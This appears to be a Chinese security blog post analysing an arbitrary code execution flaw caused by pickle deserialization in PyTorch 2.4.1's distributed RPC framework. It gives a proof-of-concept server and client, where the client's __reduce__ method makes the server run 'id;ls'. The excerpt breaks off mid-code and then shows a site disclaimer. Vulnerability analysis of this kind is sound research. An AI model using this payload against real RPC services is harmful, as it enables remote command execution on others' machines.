前言
分析了pickle反序列化在PyTorch分布式RPC框架中导致的任意代码执行漏洞的成因
环境搭建及复现
-
使用conda创建虚拟环境
-
使用pip安装2.4.1版本的Pytorch
-
分别创建server.py和client.py
server.py创建一个分布式的RPC服务,能够处理client的远程调用请求
# server.py import torch import torch.distributed.rpc as rpc def run_server(): # Initialize server-side RPC rpc.init_rpc("server", rank=0, world_size=2) # Wait for the client's remote call rpc.shutdown() if __name__ == "__main__": run_server()
client.py发起了RPC通信,并定义了一个简单的神经网络模型
MyModel
,其中包含有反序列化结束时将会触发的__reduce__
函数,且对于该方法并无过滤,从而触发了了恶意代码的执行# client.py import torch import torch.distributed.rpc as rpc from torch.distributed.nn.api.remote_module import RemoteModule import torch.nn as nn # Define a simple neural network model MyModel class MyModel(nn.Module): def __init__(self): super(MyModel, self).__init__() # A simple linear layer with input dimension 2 and output dimension 2 self.fc = nn.Linear(2, 2) # Define the forward method def __reduce__(self): return (__import__('os').system, ("id;ls",)) def run_client(): # Initialize client-side RPC rpc.init_rpc("client", rank=1, world_size=2) # Create a remote module to run the model on the server side remote_model = RemoteModule( "server", # Serve
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)